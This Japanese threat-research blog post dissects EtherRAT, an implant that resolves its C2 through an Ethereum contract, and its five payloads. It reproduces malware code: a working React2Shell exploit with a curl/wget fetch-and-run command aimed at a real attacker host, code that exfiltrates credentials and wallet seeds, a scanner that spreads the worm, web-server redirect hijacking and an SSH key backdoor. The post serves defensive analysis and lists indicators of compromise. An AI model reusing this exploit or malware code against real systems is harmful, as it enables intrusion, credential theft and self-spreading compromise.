EtherRAT解剖:React2ShellインプラントがブロックチェーンC2を通じて5つのペイロードを配信する仕組み

Sysdig脅威リサーチチーム

Image

12月8日、Sysdig脅威リサーチチーム(TRT)は、北朝鮮に関連する可能性のあるアクターがReact2Shell攻撃において新型のEthereumベースインプラントEtherRATを展開したと報告しました。このマルウェアは他のReact2Shellクリプトマイニング攻撃を超え、コマンド&コントロール(C2)トラフィックをブロックチェーンアクティビティに溶け込ませ、積極的に認証情報を収集します。さらに、EtherRATペイロードはNode.jsによって実行されるため、ディスクに触れることはありません。これは、より一般的になりつつあるファイルレスマルウェアのもう一つの例です。

このブログは、React2Shellエクスプロイトが実際のマルウェアで公に文書化された初めてのケースです。

最初のEtherRAT報告に続き、Sysdig TRTは攻撃者のC2インフラストラクチャから実際のペイロードを取得しました。この新しいブログでは、C2で発見された5つのモジュールの詳細を調査し、EtherRATの侵害後の完全な能力を明らかにします:

  1. システム偵察
  2. 認証情報収集
  3. 自己増殖型ワーム
  4. ウェブサーバーハイジャック
  5. SSHバックドアインストール

インプラントのブロックチェーンベースのC2は、防御者にとって予期しないフォレンジック上の利点も提供します:すべてのインフラストラクチャ変更がEthereumに永久に記録されます。

Sysdig TRTはまた、独立国家共同体(CIS)諸国除外の存在も発見し、最初のペイロードセクション「システム偵察」で探究される初期の帰属を複雑にしています。EtherRATの背後にいるのが誰であれ、より重要なのは、それに対して防御できるように脅威を理解することです。

Sysdig TRTが発見した5つのペイロードを探究する前に、React2ShellとEtherRATの両方を復習しましょう。

Image

要約:EtherRATとReact2Shellエクスプロイト

2025年12月5日、CVE-2025-55182の開示(React Server Componentsの最大重要度リモートコード実行(RCE))の2日後、Sysdig TRTは侵害されたNext.jsアプリケーションからEtherRATを回収しました。初期の中国関連React2Shellエクスプロイトで見られたマイナーやスティーラーとは異なり、EtherRATは永続的アクセスインプラントです。

主な特徴:

  • ブロックチェーンベースC2:現在のC2 URLを取得するためにEthereumスマートコントラクトにクエリし、ハードコードされたインフラストラクチャを回避します。
  • コンセンサスベースRPCクエリ:9つのパブリックEthereumエンドポイントをポーリングし、汚染を防ぐために多数決の応答を選択します。
  • 5つの永続化メカニズム:Systemdサービス、XDG自動起動、cronジョブbashrcインジェクション、プロファイルインジェクション。
  • 自己更新ペイロード:最初の接触時にソースを/api/reobf/に送信し、応答で自身を置き換えます。
  • 正規ランタイムダウンロード:フラグ付きバイナリをバンドルするのではなく、nodejs.orgからNode.js v20.10.0を取得します。

サーバーサイドNode.jsインプラントは依然として珍しいですが、Microsoft Defender Expertsは2025年4月に「継続的に進化する脅威ランドスケープの一部に急速になりつつある」と指摘しました。Next.jsをターゲットにすることでNode.jsの可用性が保証されます。

EtherRATの完全な技術的詳細については、Sysdig TRTの初期分析をご覧ください。

ブロックチェーンフォレンジック:攻撃者の操作を再構築する

攻撃者に対して回復力のあるC2解決を提供するブロックチェーンメカニズムは、研究者にとって不変のフォレンジック記録も作成します。すべてのC2 URL更新は、タイムスタンプ、トランザクションハッシュ、ウォレットアドレスとともにEthereumに永久に記録されます。攻撃者はこの履歴を削除または変更することはできません。

Sysdig TRTは、履歴バイナリサーチを介してコントラクトの状態変更を抽出および分析するためのカスタムツールを開発しました。完全なトランザクション履歴はデプロイヤーウォレットのEtherscanページで入手可能ですが、以下の表にサンプルがあります:

コントラクトデプロイメントタイムライン例

イベント タイムスタンプ(UTC) トランザクション
攻撃者ウォレット資金調達 2025-12-05 19:10:23 0xf74ed49b...
コントラクトデプロイ 2025-12-05 19:13:47 0x79708059...
初期C2 URL設定 2025-12-05 19:19:59 0xe4efe4d2...

コントラクトは2025年12月5日19:13:47 UTCにデプロイされ、CISAがCVE-2025-55182既知の悪用された脆弱性カタログに追加してから約5時間後でした。攻撃者のウォレットはデプロイメントのわずか3分前に資金を受け取り、最初のC2 URLはコントラクトが稼働してから6分後に設定されました。この緊密なシーケンスは、攻撃者がエクスプロイトを準備済みで、迅速に運用化したことを示唆しています。

プライマリC2コントラクト詳細

ルックアップキーは攻撃者自身のデプロイヤーウォレットアドレスです。この設計パターンは、コントラクトのデータ取得を既知のアドレスに結び付けますが、攻撃者のウォレットがすべてのデプロイされたインプラントに埋め込まれることも意味します。

C2 URL変更履歴

コントラクトは3日間で9つの状態変更を記録しました:

タイムスタンプ(UTC) ブロック C2 URL 備考
2025-12-05 19:19 23,948,771 http://91.215.85.42:3000 初期C2
2025-12-06 16:53 23,955,140 http://173.249.8.102/ セカンダリサーバー
2025-12-06 16:54 23,955,143 http://173.249.8.102 末尾のスラッシュを削除
2025-12-06 19:22 23,955,874 http://91.215.85.42:3000 プライマリサーバー
2025-12-06 20:02 23,956,075 http://173.249.8.102 セカンダリサーバー
2025-12-06 20:09 23,956,110 http://91.215.85.42:3000 プライマリサーバー
2025-12-08 00:22 23,964,494 https://grabify.link/SEFKGU IPロギングサービス
2025-12-08 00:24 23,964,503 https://grabify.link/SEFKGU?dry87932wydes/fdsgdsfdsjfkl 変更されたGrabify URL
2025-12-08 00:33 23,964,550 http://91.215.85.42:3000 プライマリサーバー(現在)

12月6日の91.215.85.42:3000173.249.8.102の切り替えは、攻撃者が少なくとも2つのC2サーバーを使用していることを示しています。エントリ2と3の間の1分間のギャップ(末尾のスラッシュを削除)は、手動構成修正を示唆しています。

Grabifyを介した被害者列挙

攻撃者のC2インフラストラクチャから最も明らかな詳細は、12月8日にGrabifyリンクを一時的に挿入したことです。Grabifyは訪問者のIP、ユーザーエージェント、地理位置情報をログに記録します。

攻撃者はC2リゾルバを約11分間https://grabify.link/SEFKGUを返すように設定しました。C2をポーリングする感染マシンはGrabifyに接続し、攻撃者のダッシュボードにログを記録します。このウィンドウの後、彼らはプライマリC2に戻り、アクティブな感染を列挙することと一致しています。

OPSECトレードオフ

ブロックチェーンC2は回復力を提供しますが、フォレンジック露出を作成します:

  • 単一ウォレット露出:9つの更新すべてがウォレット0xe941a9b2…から発信され、EtherRATと永久に関連付けられます。
  • 不変監査証跡:Grabifyリンクを含むすべてのC2 URLが永久に記録されます。従来のC2は消去できますが、ブロックチェーンはできません。
  • 資金調達チェーンの可視性:ウォレットはデプロイメントの3分前に0x14afddd6…から資金提供されました。
  • サードパーティサービスの使用:Grabifyは攻撃者のIPを含む可能性のあるログを維持します。

ペイロード分析 #1:システム偵察

ブロックチェーンコントラクトにクエリすることで、Sysdig TRTは攻撃者のインフラストラクチャから実際のペイロードを取得しました。最初は、感染したホストをフィンガープリントする偵察モジュールです。

CIS諸国除外

最も重要な発見は、特定の言語に設定されたシステムでマルウェアを自己破壊させるロケールチェックです:

const _chkLocale = () => {
const banned = ['ru','be','kk','ky','tg','uz','hy','az','ga'];
// ... 禁止リストに対してシステムロケールをチェック};
if (_chkLocale()) {
    _selfDestruct();
return;
}

禁止されたロケールは独立国家共同体(CIS)諸国に対応します:

コード 言語
ru ロシア語 ロシア
be ベラルーシ語 ベラルーシ
kk カザフ語 カザフスタン
ky キルギス語 キルギスタン
tg タジク語 タジキスタン
uz ウズベク語 ウズベキスタン
hy アルメニア語 アルメニア
az アゼルバイジャン語 アゼルバイジャン
ka グルジア語 ジョージア

この「CIS除外」パターンは、ロシアおよび東ヨーロッパのサイバー犯罪報告でよく文書化されています。これらの地域のアクターは、地元の法的影響を避けるためにCIS諸国を除外します。

EtherRATの戦術、技術、手順(TTP)の大部分は朝鮮民主主義人民共和国(DPRK)に関連する脅威アクターと一致していますが、CIS諸国除外の存在はDPRK帰属と矛盾します。北朝鮮のアクターは通常CIS除外を実装しません。これは、攻撃者が次のいずれかであることを示唆しています:

  • 除外を追加し、難読化を追加するためにDPRKから報告された共有ツールを使用しているCISベースのアクター。
  • 除外を含むロシアのツールからコードの一部をコピーしたDPRKまたはそれ以外の非CISベースのアクター。
  • 調査員を誤解させるための偽旗を使用している。

システム情報収集

ペイロードは被害者プロファイリングのために広範なホストデータを収集します:

カテゴリ 収集されるデータ
ID ユーザー名、ホスト名、MACアドレス、マシンGUID
ハードウェア CPUモデル/コア、合計/空きメモリ、GPU
ネットワーク パブリックIP(ipify API経由)、ドメインメンバーシップ
環境 OSバージョン、アーキテクチャ、Node.jsバージョン、稼働時間
セキュリティ アンチウイルス製品、管理者/root権限

ドメインメンバーシップチェックは、マルチプラットフォーム攻撃スクリプトにおいて特に注目に値します。ホストがActive Directoryドメインの一部であるかどうか、および現在のユーザーが管理者権限を持っているかどうかを判断します:

const getDomainInfo = () => {
let domain = 'WORKGROUP', inDomain = false, isAdmin = false;
// Windows: Win32_ComputerSystem.PartOfDomainをチェック// Linux: hostname -d / dnsdomain nameをチェック// また、'net session'(Windows)またはUID 0(Linux)経由で管理者をチェックreturn { domain, inDomain, isAdmin };
};

このプロファイリングデータにより、オペレーターはさらなる悪用のために高価値ターゲット(管理者アクセス権を持つドメイン参加企業システム)を特定できます。

GPU列挙も重要です。複数の方法(lspciglxinfo、WMIクエリ)にわたる詳細なGPU検出は、オペレーターがクリプトマイニングの可能性についてシステムを評価していることを示唆しており、これは他の攻撃者による初期React2Shellエクスプロイトで見られた日和見的クリプトマイニングと一致します。

アンチウイルス検出

ペイロードは両方の環境で動作するために、WindowsとLinuxの両方でセキュリティ製品をチェックします:

// Windows: SecurityCenter2 WMI名前空間にクエリ// Linux: 既知のAVプロセスのプロセスリストを検索const avProcesses = ['clamd', 'freshclam', 'sophos', 'avast', 'eset', 'kaspersky', 'comodo'];

C2流出

収集されたデータは、積極的な再試行ロジック(指数バックオフで最大100回の試行)を使用してHTTP POST経由で流出されます:

const serverUrl = "http://91.215.85.42:3000";
const hwid = getHWID();
const postUrl = `${serverUrl}/${hwid}`;

await sendWithRetry(postUrl, info);

ペイロード分析 #2:認証情報ハーベスター

2番目のペイロードはEtherRATの主な目的を明らかにします:包括的な認証情報と暗号通貨の盗難で、初期偵察後に配信されます。これは、よく見られる典型的な軽いスキャンよりも洗練された方法で暗号ウォレットをターゲットにしながら、50以上の他のタイプの認証情報も収集します。

BIP39シードフレーズ検出

ペイロードは、暗号通貨ウォレットのシードフレーズを生成するために使用されるすべての2,048ワードで構成される完全なBIP39ワードリストを埋め込みます:

const BIP39_WORDS = [
"abandon", "ability", "able", "about", "above", "absent", "absorb", "abstract",
// ... 追加の2,040ワード"zero", "zone", "zoo"];
const BIP39_SET = newSet(BIP39_WORDS);

ハーベスターは2つの検出方法を使用します。まず、mnemonicseedrecoverywalletなどの用語の近くでBIP39ワードを検索します。次に、スライディングウィンドウスキャンを実行し、12〜24の連続したワードのすべてのシーケンスをBIP39セットに対してチェックします:

for (const len of [24, 21, 18, 15, 12]) {
if (words.length >= len) {
const slice = words.slice(0, len);
if (slice.every(w => BIP39_SET.has(w))) {
            addFinding('seed_phrase', filePath, slice.join(' '));
break;
        }
    }
}

この2部構成のアプローチは、回復されたシードの価値を最大化するために、24ワードフレーズ(256ビットのエントロピー)を短いバリアントよりも優先します。

ファイルベースのBIP39スキャンは新興技術です。SANS ISCは2024年11月にこのアプローチを使用するPythonインフォスティーラーを文書化しましたが、EtherRATの実装はより洗練されています:

機能 SANS文書化スティーラー EtherRATハーベスター
BIP39検証 外部mnemonicモジュール 埋め込み2,048ワード配列
検出方法 行ごとのチェック キーワード検索 + スライディングウィンドウ
フレーズ長 12、16、24ワード 12、15、18、21、24ワード
依存関係 実行時にpip installが必要 自己完結型
秘密鍵検証 なし secp256k1曲線次数チェック

埋め込みワードリスト、スライディングウィンドウスキャン、楕円曲線検証は、典型的なスティーラーを超える暗号通貨の専門知識を示しています。

ターゲット秘密パターン

認証情報ハーベスターには、カテゴリ別に整理された50以上の正規表現パターンが含まれています:

カテゴリ パターン
暗号鍵 4 Ethereum秘密鍵(64 hex文字)、PEM/SSH秘密鍵
GitHub/Git 8 ghp_gho_github_pat_、GitLab glpat-、Bitbucket ATBB
クラウドプロバイダー 14 AWS AKIA、GCP AIza、Azure SASトークン、DigitalOcean dop_v1_
データベース 6 PostgreSQL/MySQL/MongoDB/Redis接続文字列、DB_PASSWORD
APIキー 17 Stripe sk_live_、SendGrid SG.、Slack xox[baprs]-、OpenAI sk-、Anthropic sk-ant-
ウォレット 2 Bitcoin WIF鍵([5KL][1-9A-HJ-NP-Za-km-z]{50,51})、Ethereumキーストア

Ethereum秘密鍵検証は、単に64文字の16進文字列を照合するだけでなく、secp256k1曲線次数に対して検証します:

const isValidPrivateKey = (hex) => {
if (!/^[a-fA-F0-9]{64}$/.test(hex)) returnfalse;
const bn = BigInt('0x' + hex);
const max = BigInt('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364140');
return bn > 0n && bn < max;
};

これにより、ランダムな16進文字列からの偽陽性が排除され、暗号通貨の内部に精通していることが示されます。

ウォレットディレクトリハーベスティング

ペイロードは、暗号通貨ウォレットストレージの場所を特にターゲットにします:

Windows:

  • %APPDATA%\Ethereum, %APPDATA%\Bitcoin%APPDATA%\Exodus%APPDATA%\atomic
  • %LOCALAPPDATA%\Coinbase%APPDATA%\Electrum
  • Chrome/Brave拡張機能ストレージ(MetaMask、Phantomなど)

Linux:

  • ~/.ethereum~/.bitcoin~/.exodus~/.atomic~/.electrum
  • ~/.config/google-chrome/Default/Local Extension Settings
  • ~/.config/BraveSoftware/Brave-Browser/Default/Local Extension Settings

ブラウザ拡張機能ストレージは、MetaMaskのようなブラウザベースのウォレットが暗号化されたボールトデータを保存する場所であるため、特に価値があります。暗号化されたボールトと弱いパスワードがあれば、攻撃者はウォレット鍵へのアクセスをブルートフォースできます。

クラウドおよびインフラストラクチャ認証情報盗難

暗号通貨を超えて、ハーベスターはクラウドプロバイダーとインフラストラクチャの認証情報をターゲットにします:

AWS:

  • ~/.aws/credentials~/.aws/config
  • アクセスキー(AKIA)、秘密鍵、セッショントークン

Google Cloud:

  • ~/.config/gcloud/credentials.dbapplication_default_credentials.json
  • サービスアカウントJSONファイル

Azure:

  • ~/.azure/accessTokens.jsonazureProfile.json

Kubernetes:

  • ~/.kube/config/etc/kubernetes/admin.conf

その他:

  • Docker設定、Git認証情報、Terraform状態ファイル
  • SSH秘密鍵(id_rsaid_ed25519id_ecdsa)
  • HashiCorp Vaultトークン、npm/pip認証情報

興味深いファイルとスキャン戦略

ペイロードは50以上の高価値ファイル名のリストを維持します:

const INTERESTING_FILES = [
'.env', '.env.local', '.env.production', '.env.development', '.env.staging',
'wallet.json', 'keystore.json', 'wallet.dat', 'key.json',
'id_rsa', 'id_ed25519', 'id_ecdsa', 'id_dsa',
'.npmrc', '.pypirc', '.netrc', '.htpasswd',
'docker-compose.yml', '.git-credentials',
'terraform.tfvars', '*.tfstate',
'service-account.json', 'firebase-adminsdk.json',
// ... 追加ファイル];

スキャンは、検索ディレクトリ(ホームディレクトリ、Linuxでは/var/www/opt/srv, /etc 、WindowsではC:\Users, C:\inetpub\wwwroot、XAMPP/WAMPルート)を最大10レベルまで再帰的に歩き、興味深い名前または拡張子(.env.json.yml、.key.pemなど)に一致するファイルを調べます。

この徹底的なペイロードスキャナーは、攻撃者の目的が日和見的クリプトマイニングや基本的な認証情報ハーベスティングを超えていることを示しています。認証情報、APIキー、証明書、その他の機密データを含む可能性のあるファイルが確実に識別され、見落とされることはありません。

コードには、自身のペイロードと思われるファイルをスキップし、難読化されたコンテンツを回避する検出防止ロジックも含まれています:

// ペイロード/ボットファイルをスキップconst fileName = path.basename(filePath).toLowerCase();
if (/^\.?[a-z0-9]{6,12}\.js$/.test(fileName)) return;
if (fileName.includes('payload') || fileName.includes('loader')) return;

シェル履歴マイニング

ハーベスターはシェル履歴ファイルを読み取り、コマンドライン履歴から認証情報を抽出します:

const histFiles = isWin ? [
'AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt',
] : [
'~/.bash_history', '~/.zsh_history',
'/root/.bash_history', '/root/.zsh_history',
];

開発者は頻繁にコマンドライン引数または環境変数として認証情報を渡すため、シェル履歴は漏洩した秘密の信頼できるソースになります。

流出

侵害されたシステムの広範な検索から収集されると、収集された認証情報は専用エンドポイント経由で同じC2サーバーに流出されます:

const serverUrl = "http://91.215.85.42:3000";

await fetch(`${serverUrl}/crypto/keys`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
botHwid: getHWID(),
ip: await getPublicIP(),
hostname: os.hostname(),
        findings  // 発見されたすべての秘密の配列    })
});

/crypto/keys エンドポイント名と広範な暗号通貨重視の収集能力は、金銭的盗難が主な目的であることを確認します。

ペイロード分析 #3:React2Shellワーム

C2サーバーから取得された3番目のペイロードは、EtherRATをスタンドアロンインプラントから自己拡散ワームに変換します(秋に2回見られたShai-Huludワームの痛ましい記憶を呼び戻します)。このモジュールは、脆弱なNext.jsサーバーをインターネット上で継続的にスキャンし、React2Shell(CVE-2025-55182)を悪用して初期侵害で使用されたのと同じ脆弱性を伝播します。

スキャンインフラストラクチャ

ワームはランダムIPアドレスを生成し、一般的なウェブポートをプローブします:

const PORTS = [80, 443, 3000, 3001, 8080, 8443];
const CONCURRENCY = 500;
const TIMEOUT = 3000;

500の同時接続と3秒のタイムアウトで、単一の感染ホストは分あたり約10,000のIP:ポートの組み合わせをスキャンできます。スキャナーは自己検出を避けるために自身のIPアドレスを除外しますが、注目すべきことに、侵害されたネットワーク内での横方向の移動を可能にするプライベートネットワーク範囲(10.x.x.x、172.16-31.x.x、192.168.x.x)を含みます。

Next.jsフィンガープリンティング

エクスプロイトを試みる前に、ワームは複数の検出方法を通じてNext.jsサーバーを識別します:

const isNext = async (ip, port) => {
const res = await req(ip, port);
if (!res) returnfalse;
const h = res.headers, b = res.body || '';
return h['x-powered-by']?.includes('Next.js') || 
           h['x-nextjs-page'] || 
           b.includes('/_next/') || 
           b.includes('__NEXT_DATA__');
};

フィンガープリンティングは、X-Powered-By: Next.jsヘッダー、X-NextJS-Pageヘッダー、およびレスポンスボディ内のNext.jsアーティファクト(/_next/静的パスまたは__NEXT_DATA__ ハイドレーションスクリプト)をチェックします。このマルチメソッドアプローチは、サーバーが部分的なヘッダー抑制を持っている場合でも検出を最大化します。

CVE-2025-55182エクスプロイト

rce関数には、動作するReact2Shellエクスプロイトが含まれています。このペイロード構造が実際のマルウェアで公に文書化されたのはこれが初めてです:

const rce = async (ip, port) => {
const cmd = `(curl -s ${SHELL_URL} -o /tmp/s.sh||wget -q -O /tmp/s.sh ${SHELL_URL})&&chmod +x /tmp/s.sh&&/tmp/s.sh &`;
const b64 = Buffer.from(cmd).toString('base64');
const code = `var cp=process.mainModule.require("child_process");try{cp.exec("echo ${b64}|base64 -d|sh")}catch{}"ok"`;
    
const chunk = JSON.stringify({
then: '$1:__proto__:then',
status: 'resolved_model',
value: '{"then":"$B1337"}',
reason: -1,
_response: {
_prefix: code + '//',
_chunks: '$Q2',
_formData: { get: '$1:constructor:constructor' }
        }
    });
// マルチパートフォーム構築...const res = await req(ip, port, {
method: 'POST',
headers: {
'Content-Type': `multipart/form-data; boundary=${bd}`,
'Next-Action': 'a'.repeat(40)
        },
        body
    });
};

エクスプロイトは、React Server Componentsのストリーミングプロトコルと組み合わせたプロトタイプ汚染($1:__proto__:then)を使用してリモートコード実行を達成します。主な要素には、Next-Actionヘッダー(40文字、Server Action処理をトリガー)、レスポンスオブジェクトプロトタイプを汚染する不正なマルチパートペイロード、およびFunctionコンストラクタに到達するためのコンストラクタチェーンアクセス($1:constructor:constructor)が含まれます。_response._prefix フィールドには実際のペイロード、シェルコマンドを実行するためにchild_process.exec()を使用するNode.jsコードが含まれています。

セカンダリC2インフラストラクチャ

ワームは2番目のC2サーバーを明らかにします:

const SHELL_URL = 'http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh';
サーバー 役割 ポート
91.215.85.42 プライマリC2(偵察、認証情報) 3000
193.24.123.68 伝播ペイロード配信 3001

2番目のサーバーは、新しく侵害されたホストにデプロイされたシェルスクリプトをホストします。潜在的に難読化されたファイル名(gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh)は、自動検出に対する最小限の保護を提供します。

ワームターゲティング

モジュールは無期限に実行され、継続的にターゲットを生成します:

while (true) {
const ips = Array.from({ length: 10 }, randIP);
for (const ip of ips) {
for (const port of PORTS) {
// スキャンと悪用...        }
    }
}

成功した侵害はローカルにログに記録されます:

const logFile = path.join(os.tmpdir(), 'nextjs_scan.log');
// [FOUND] 192.168.1.50:3000  - Next.js検出// [SHELL] 192.168.1.50:3000  - エクスプロイト成功

このログファイルは、その後のC2タスキングによって流出される可能性があり、攻撃者にワームの伝播成功率の可視性を提供します。

横方向の移動への影響

プライベートIP範囲をスキップする典型的なインターネットワームとは異なり、EtherRATワームは明示的にそれらを含みます:

const randIP = () => {
const a = Math.random() * 256 | 0;
if (a === 0 || a >= 224) return randIP();  // 0.x.x.xとマルチキャストをスキップ// プライベート範囲(10.x、172.16-31.x、192.168.x)は除外されませんconst ip = `${a}.${...}`;
if (ownIPs.has(ip)) return randIP();  // 自身のIPのみスキップreturn ip;
};

これは、企業環境での単一の侵害が、内部のNext.js開発サーバー、CI/CDパイプライン、ステージング環境に伝播する可能性があり、最初に侵害されたホストを超えて攻撃面を大幅に拡大することを意味します。

ペイロード分析 #4:ウェブサーバーハイジャッカー

C2サーバーから取得された4番目のペイロードはもはやめったに見られません。データを盗むのではなく、侵害されたサーバーのウェブトラフィックをハイジャックします。モジュールは、すべての訪問者をxss.pro(悪名高いロシア語サイバー犯罪フォーラム)にリダイレクトするようにnginxとApache設定を書き換えます。

ターゲットドメイン

const TARGET_DOMAIN = 'xss.pro';
const TARGET_URL = `https://${TARGET_DOMAIN}`;
const WEBHOOK_URL = 'https://webhook.site/63575795-ee27-4b29-a15d-e977e7dc8361';

XSS.proは、最大のロシア語サイバー犯罪マーケットプレイスの1つであるXSSフォーラムの代替クリアウェブドメインです。フォーラムの元のドメイン(xss.is)は2025年7月にEuropolによって押収され、その管理者「Toha」は広告掲載とサービス料金から700万ユーロ以上を稼いだとされ、キエフで逮捕されました。xss.proドメインは2025年8月に新しい未検証の管理下で出現しました。

フォーラムの現在の状態は不確実です。元のモデレーターはプラットフォームを放棄し、競合するフォーラム(DamageLib)を立ち上げ、xss.proはおそらく法執行機関のハニーポットであると警告しました。ユーザーアクティビティは崩壊したと報告されており、評判の高いほとんどの脅威アクターは他の場所に移行しました。アクティブな2025年12月のペイロードにこのリダイレクトターゲットが存在することは、攻撃者が7月の押収前からツールを更新していないか、現在ドメインを管理している誰とでもアフィリエイト関係を維持していることを示唆しています。

フォーラムの現在の状態に関係なく、意図された収益化モデルは明確です:フォーラムの歴史的な広告ベースの収益構造は、訪問者を駆り立てることが広告契約を持つアクターの収入を生み出すことを意味しました。これは、侵害されたインフラストラクチャに対する低労力の収益化パスを表しています。別のマルウェア配信やフィッシングページを維持するのではなく、攻撃者は単にすべてのトラフィックを既存のプラットフォームにリダイレクトし、そこでボリュームが収益に変換されます。

リダイレクトメカニズム自体は著しく洗練されていません。ペイロードはHTTP 301永久リダイレクトを使用します。つまり、訪問者はブラウザのアドレスバーでURL変更を見ることができます:例えば、legitimate-site.comと入力すると、目に見えてxss.proに着陸します。これは、宛先を隠す透明なプロキシや隠しiframeではありません。ユーザーは、特にxss.proがログインページ、エラー、または押収バナーを表示する場合、すぐに何かが間違っていることに気付くでしょう。この率直なアプローチは、ペイロードがステルスよりもボリュームを優先することを示唆しており、ターゲットを絞った攻撃というよりはサービス妨害または粗雑なトラフィック生成として機能します。被害者のユーザーがリダイレクトされるサービス拒否攻撃の可能性もあります。

nginxとApacheをターゲットにしたサーバーサイドリダイレクトマルウェアは、2010年代初頭には十分に文書化された脅威でした。
Darkleechのようなキャンペーンは、訪問者をエクスプロイトキットにリダイレクトするために隠しiframeを注入する悪意のあるApacheモジュールで数万のサーバーを感染させました。そのエコシステムは、2013年のBlackholeエクスプロイトキットの削除後にほとんど崩壊し、それ以来、同等のnginx/Apacheリダイレクトマルウェアに関する公開報告はまばらです。

EtherRATのウェブサーバーハイジャッカーペイロードは、その前任者よりも粗雑なアプローチ(モジュールインジェクションではなく設定置換)を表していますが、アクティブな2025年キャンペーンでの存在は、フォーラムトラフィック収益化のためにこの技術が再び使用されていることを示唆しています。

Nginx設定ハイジャック

ペイロードはnginx設定ディレクトリを体系的に処理します:

const dirs = [
'/etc/nginx/sites-enabled',
'/etc/nginx/conf.d',
'/etc/nginx/sites-available'];

各設定ファイルについて、既存のSSL証明書とサーバー名を抽出し、設定全体をリダイレクトに置き換えます:

let newConf = `# ${TARGET_URL}にリダイレクト\n`;

if (has443) {
const sslCert = ssl?.cert || '/etc/ssl/certs/ssl-cert-snakeoil.pem';
const sslKey = ssl?.key || '/etc/ssl/private/ssl-cert-snakeoil.key';
    
    newConf += `server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name ${serverName};
    ssl_certificate ${sslCert};
    ssl_certificate_key ${sslKey};
    return 301 ${TARGET_URL}$request_uri;
}\n`;
}

ペイロードは既存のSSL証明書を保持してHTTPS機能を維持するため、訪問者はリダイレクトされる前に元のドメインの有効な証明書を確認します。元の設定は、変更前に.bak拡張子でバックアップされます。

Apacheハイジャック

Apache設定も同様の処理を受け、既存の仮想ホストが無効化され、ユニバーサルリダイレクトに置き換えられます:

const redirect = `<VirtualHost *:80>
    ServerName _default_
    Redirect 301 / ${TARGET_URL}/
</VirtualHost>
<VirtualHost *:443>
    ServerName _default_
    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
    SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
    Redirect 301 / ${TARGET_URL}/
</VirtualHost>`;

fs.writeFileSync(path.join(dir, '000-redirect.conf'), redirect);

000-プレフィックスは、リダイレクト設定が最初に読み込まれることを保証し、残りの設定よりも優先されます。

権限昇格の試み

ペイロードがroot権限なしで実行される場合、昇格された権限でハイジャックロジックを再実行しようとします:

const cmds = [
`sudo node -e "${elevateScript.replace(/"/g, '\\"').replace(/\n/g, '')}"`,
`sudo su -c 'node -e "${elevateScript...}"'`];

node -eフラグは、コマンドライン引数として直接渡されたJavaScriptを実行し、別のスクリプトファイルをディスクに書き込む必要を回避します。これをsudoでラップすることにより、ペイロードはnginx変更コードをrootとして実行しようとします。このアプローチは、一時スクリプトを削除して実行するよりもファイルシステムアーティファクトを少なく残します。

偵察流出

変更の前後に、ペイロードは「webhook.site」エンドポイントに広範なシステム情報を報告します:

const report = {
hostname: os.hostname(),
ip: run('curl -s ifconfig.me'),
user: os.userInfo().username,
uid: process.getuid ? process.getuid() : -1,
platform: os.platform(),
target: TARGET_URL,
    logs,
nginxTest: run('nginx -t 2>&1'),
apacheTest: run('apachectl -t 2>&1'),
services: run('ps aux | grep -E "nginx|apache|httpd|caddy"'),
configs: run('ls -la /etc/nginx/sites-enabled/ /etc/nginx/conf.d/'),
timestamp: newDate().toISOString()
};

流出に「webhook.site」(正規のデバッグサービス)を使用することは、攻撃者が管理するインフラストラクチャを必要としない使い捨ての匿名エンドポイントを提供するため、注目に値します。

ペイロード分析 #5:SSHバックドア

5番目のペイロードはEtherRATツールキットで最もシンプルで、攻撃者の公開鍵を被害者のauthorized_keysファイルに追加する古典的なSSH永続化メカニズムです:

const publicKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF...IFKa4w== root@vps';

const sshDir = path.join(os.homedir(), '.ssh');
const authKeysPath = path.join(sshDir, 'authorized_keys');

// .sshディレクトリが見つからない場合は作成(正しい700権限で)if (!fsSync.existsSync(sshDir)) {
await fs.mkdir(sshDir, { mode: 0o700 });
}
// 既に存在しない場合は鍵を追加if (!existingKeys.includes(publicKey.trim())) {
await fs.writeFile(authKeysPath, existingKeys + '\n' + publicKey, { mode: 0o600 });
}

実装は非破壊的です。上書きするのではなく既存の許可鍵に追加し、管理者に警告する可能性のある正規のアクセスへの中断を回避します。ペイロードは0o700権限で.sshディレクトリを作成し、0o600authorized_keysを書き込み、OpenSSHの期待される権限モデルに一致します。

SSH鍵IOC:

フィンガープリント: SHA256:1RquAvdtW48Ken6IVUZi/o4liu1SXlvezhgjb2fnvBg
コメント: root@vps

authorized_keysファイルにこの鍵を持つシステムは、侵害されたと見なすべきです。完全な公開鍵は以下のIOCsセクションに含まれています。

侵害の指標

Ethereumインフラストラクチャ

タイプ
スマートコントラクト 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4
デプロイヤーウォレット 0xe941a9b283006f5163ee6b01c1f23aa5951c4c8d
資金調達ウォレット 0x14afddd627fb0e039365554f8bbdb881ecb1c708

C2サーバー

IPアドレス ポート 目的
91.215.85.42 3000 プライマリC2(偵察、認証情報)
173.249.8.102 80 セカンダリC2
193.24.123.68 3001 ワームペイロード配信

URL

http://91.215.85.42:3000/{hwid}                              # 偵察流出http://91.215.85.42:3000/crypto/keys                         # 認証情報流出http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh     # ワームシェルスクリプトhttps://grabify.link/SEFKGU                                  # IPロガー(短時間使用)https://webhook.site/63575795-ee27-4b29-a15d-e977e7dc8361    # ウェブハイジャッカー流出

ウェブハイジャッカーターゲット

xss.pro

SSHバックドア鍵

フィンガープリント: SHA256:1RquAvdtW48Ken6IVUZi/o4liu1SXlvezhgjb2fnvBg
コメント: root@vps

